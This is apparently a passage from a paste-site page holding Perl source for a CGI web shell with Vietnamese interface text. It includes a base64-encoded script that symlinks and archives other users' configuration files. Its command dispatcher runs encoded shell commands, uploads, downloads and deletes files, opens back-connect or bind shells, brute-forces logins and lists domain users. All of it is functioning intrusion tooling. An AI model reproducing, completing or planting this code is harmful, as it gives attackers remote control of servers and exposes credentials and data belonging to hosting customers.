VTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsKICByZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKfSBlbHNlIHsKICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cn0KQHBhaXJzID0gc3BsaXQoLyYvLCAkYnVmZmVyKTsKZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7CiAgKCRuYW1lLCAkdmFsdWUpID0gc3BsaXQoLz0vLCAkcGFpcik7CiAgJG5hbWUgPX4gdHIvKy8gLzsKICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOwogICR2YWx1ZSA9fiB0ci8rLyAvOwogICR2YWx1ZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOwogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsKfQppZiAoJEZPUk17cGFzc30gZXEgIiIpewpwcmludCAnCjxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPgo8cD5QYWluIFNjcmlwdCBUbyBTeW1saW5rIENvbmZpZ3M8L3A+CjxwPjxmb250IGNvbG9yPSIjQzBDMEMwIj5bPC9mb250PiBDb25maWcubG9nIDxmb250IGNvbG9yPSIjQzBDMEMwIj58PC9mb250PiAKPHNwYW4gaWQ9InJlc3VsdF9ib3giIGNsYXNzPSJzaG9ydF90ZXh0IiBsYW5nPSJlbiI+PHNwYW4gc3R5bGUgdGl0bGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIj58PC9mb250Pjwvc3Bhbj48L3NwYW4+IAo8Zm9udCBjb2xvcj0iI0MwQzBDMCI+XTwvZm9udD48L3A+Cjxmb3JtIG1ldGhvZD0icG9zdCI+Cjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDU0M3B4OyBoZWlnaHQ6IDQyMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6IzAwRkZGRiIgID48L3RleHRhcmVhPjxiciAvPgombmJzcDs8cD4KPGlucHV0IG5hbWU9InRhciIgdmFsdWU9IkFMTENvbmZpZy1sb2cudHh0IiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6IzAwRkZGRjsgIiAgLz48YnIgLz4KJm5ic3A7PC9wPgo8cD4KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBDb25maWciIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDBGRkZGOyB3aWR0aDogOTk7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjEwcHQ7IGNvbG9yOiMwMEZGRkY7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEMiIC8+PC9wPgo8L2Zvcm0+JzsKfWVsc2V7Cm1rZGlyKCdDR0ktQ29uZmlnLmxvZycsMDc1NSk7CmNoZGlyKCdDR0ktQ29uZmlnLmxvZycpOwpAbGluZXMgPTwkRk9STXtwYXNzfT47CiR5ID0gQGxpbmVzOwpvcGVuIChNWUZJTEUsICI+bG9nLnRtcCIpOwpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOwpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7CndoaWxlKEBsaW5lc1ska2FdICA9fiBtLyguKj8pOng6L2cpewombGlsKCQxKTsKcHJpbnQgTVlGSUxFICQxLiItbG9nLnR4dCI7CmZvcigka2Q9MTska2Q8MTg7JGtkKyspewpwcmludCBNWUZJTEUgJDEuJGtkLiItbG9nLnR4dCI7Cn0KfQp9CnByaW50Jzxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPjxwPkdldCBBbGwgQ29uZmlnIFRoJiMyMjQ7bmggQyYjMjQ0O25nPC9wPgo8aDE+PGEgc3R5bGU9ImNvbG9yOiNGRkY1MDA7IiBocmVmPSJDR0ktQ29uZmlnLmxvZy8iIHRhcmdlcj0iX2JhbmsiPiYjMjcyOyYjNzg3MTtuIEZvbGRlciBBbGwgQ29uZmlnLmxvZzwvYT48L2gxPic7CmlmKCRGT1JNe3Rhcn0gbmUgIiIpewpvcGVuKElORk8sICJsb2cudG1wIik7CkBsaW5lcyA9PElORk8+IDsKY2xvc2UoSU5GTyk7CnN5c3RlbShAbGluZXMpOwpwcmludCc8cD48YSBocmVmPSJDR0ktQ29uZmlnLmxvZy8nLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4KPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+PGgxPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgQWxsIENvbmZpZy5sb2cgVGFyIEZpbGU8L2gxPjwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4KPGJyLz48aDE+PGEgc3R5bGU9ImNvbG9yOiNGRkY1MDA7IiBocmVmPSJDR0ktQ29uZmlnLmxvZy8iIHRhcmdlcj0iX2JhbmsiPiYjMjcyOyYjNzg3MTtuIEZvbGRlciBBbGwgQ29uZmlnLmxvZzwvYT48L2gxPic7Cn0KfQogcHJpbnQiPC9ib2R5PjwvaHRtbD4iOw==";
- $decodeconfigizaass=decode_base64($configizaass);
- print CreateNew $decodeconfigizaass or die "Không Thể Ghi Nội Dung Vào File Config.log"; close CreateNew;
- chmod(0755,'Config.log');
- print '<br/><center><h1>Tạo File Config.logThành Công<br/><br/><a style="color:#FFF500;" href="Config.log" target="_bank">Vào CGI Shell: Config.log</a></h1></center>';
- print "\n";
- }
- &ReadParse;
- &GetCookies;
- $ScriptLocation = $ENV{'SCRIPT_NAME'};
- $ServerName = $ENV{'SERVER_NAME'};
- $LoginPassword = $in{'p'};
- $RunCommand = decode_base64($in{'c'});
- $TransferFile = $in{'f'};
- $Options = $in{'o'};
- $Action = $in{'a'};
- $Action = "command" if($Action eq "");
- $CurrentDir = &TrimSlashes(decode_base64(trim($in{'d'})));
- $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
- chomp($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
- $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
- if($Action eq "login" || !$LoggedIn) # user needs/has to login
- {
- &PerformLogin;
- }elsif($Action eq "gui") # GUI directory
- {
- &PrintPageHeader("d");
- if(!$WinNT)
- {
- $chmod=int($in{'chmod'});
- if($chmod ne 0)
- {
- $chmod=int($in{'chmod'});
- $file=$CurrentDir.$PathSep.$TransferFile;
- if(chmod($chmod,$file))
- {
- print "<run> Done! </run><br>";
- }else
- {
- print "<run> Sorry! You dont have permissions! </run><br>";
- }
- }
- }
- $rename=$in{'rename'};
- if($rename ne "")
- {
- if(rename($TransferFile,$rename))
- {
- print "<run> Done! </run><br>";
- }else
- {
- print "<run> Sorry! You dont have permissions! </run><br>";
- }
- }
- $remove=$in{'remove'};
- if($remove ne "")
- {
- $rm = $CurrentDir.$PathSep.$remove;
- if(-d $rm)
- {
- &RmDir($rm);
- }else
- {
- if(unlink($rm))
- {
- print "<run> Done! </run><br>";
- }else
- {
- print "<run> Sorry! You dont have permissions! </run><br>";
- }
- }
- }
- print &ListDir;
- }elsif($Action eq "command") # user wants to run a command
- {
- &PrintPageHeader("c");
- print &ExecuteCommand;
- }
- elsif($Action eq "save") # user wants to save a file
- {
- &PrintPageHeader;
- if(&SaveFile($in{'data'},$in{'file'}))
- {
- print "<run> Done! </run><br>";
- }else
- {
- print "<run> Sorry! You dont have permissions! </run><br>";
- }
- print &ListDir;
- }elsif($Action eq "upload") {
- &PrintPageHeader("c");
- print &UploadFile;
- }elsif($Action eq "backbind") # user wants to back connect or bind port
- {
- &PrintPageHeader("clientport");
- print &BackBind;
- }elsif($Action eq "bruteforcer") # user wants to brute force
- {
- &PrintPageHeader;
- print &BruteForcer;
- }elsif($Action eq "configizaass") # user wants to brute force
- {
- &PrintPageHeader;
- print &ConfigIzaass;
- }elsif($Action eq "download") # user wants to download a file
- {
- print &DownloadFile;
- }elsif($Action eq "checklog") # user wants to view log file
- {
- &PrintPageHeader;
- print &ViewLog;
- }elsif($Action eq "domainsuser") # user wants to view list user/domain
- {
- &PrintPageHeader;
- print &ViewDomainUser;
- }
- elsif($Action eq "logout") # user wants to logout
- {
- &PerformLogout;
- }
- &PrintPageFooter;
Add Comment
Please, Sign In to add comment